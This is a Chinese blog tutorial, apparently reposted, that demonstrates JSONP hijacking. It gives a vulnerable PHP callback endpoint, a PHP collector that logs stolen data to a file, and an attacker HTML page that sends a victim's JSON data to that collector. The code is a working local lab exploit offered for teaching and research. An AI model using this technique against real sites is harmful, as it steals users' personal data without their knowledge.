前言
Json劫持
当前目录创建三个文件
![image-20210820160835343]()
然后json.php中写入
1 2 3 4 5 6 7 8 9 10 11 12
|
<?php
header('Content-type: application/json'); $callback = $_GET['callback']; print $callback.'({"id":"1","name":"dongjun","email":"[email protected]"});';
?>
|
下面一个jsonre.php中写入来获取信息
1 2 3 4 5 6 7 8 9
|
<?php
$content = $_GET['file']; if(isset($content)){ file_put_contents('flag.txt','更新时间:'.date("Y-m-d H:i:s")."\n".$content); }else{ echo 'no data input'; } ?>
|
最后一个index.html写一个网站来发包,获取数据传入jsonre.php中,json利用是和csrf很像的,都是需要被攻击者点击,index.html中写入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
|
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title></title> <script> function test(data){ var xmlhttp = new XMLHttpRequest(); var url = "http://127.0.0.1/json-xpath/jsonre.php?file=" + JSON.stringify(data); xmlhttp.open("GET",url,true); xmlhttp.send(); } </script> <script src="http://127.0.0.1/json-xpath/json.php?callback=test"></script> </head> <body> </body> </html>
|
json.php显示的数据
![image-20210820161123548]()
当受害者打开index.html之后,就会将json数据发给攻击方
![image-20210820161303482]()
本地生成数据.txt的形式
![image-20210820161627806]()
我的个人博客
FROM:gylq.gitee Author:孤桜懶契
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
点赞
https://cn-sec.com/archives/729953.html
复制链接
复制链接
-
左青龙
- 微信扫一扫
-
-
右白虎
- 微信扫一扫
-
评论